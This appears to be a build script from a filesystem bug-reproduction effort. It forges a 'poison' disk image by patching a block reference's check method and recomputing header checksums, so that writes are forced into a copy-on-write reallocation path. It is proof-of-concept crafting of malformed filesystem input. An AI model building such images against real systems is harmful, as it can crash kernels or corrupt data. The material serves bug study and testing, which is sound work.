DF-2653 / build.sh
#!/bin/sh # DF-2653 build: forge the misaligned-key poison image. set -e cd "$(dirname "$0")" [ -f base2651.img ] || (cp ../DF-2651/base2651.img.gz . && gunzip -kf base2651.img.gz) python3 forge_2653.py base2651.img forge2653.img # The poison bref must NOT be CHECK_NONE (0x00) or the write takes the # overwrite-in-place path and never reallocates. Use iscsi32 (0x30). python3 - <<'EOF' import struct, sys sys.path.insert(0, '.') from h2common import recompute_volhdr_crcs img = bytearray(open('forge2653.img','rb').read()) o = 0x2004000 + 4*128 # poison slot 4 in f2653 indirect assert struct.unpack_from('<Q', img, o+8)[0] == 0x7c000 img[o+1] = 0x30 # methods: CHECK_ISCSI32 recompute_volhdr_crcs(img) open('forge2653b.img','wb').write(img) print("forge2653b.img: poison methods=0x30 (forces COW realloc)") EOF echo "built forge2653.img forge2653b.img" |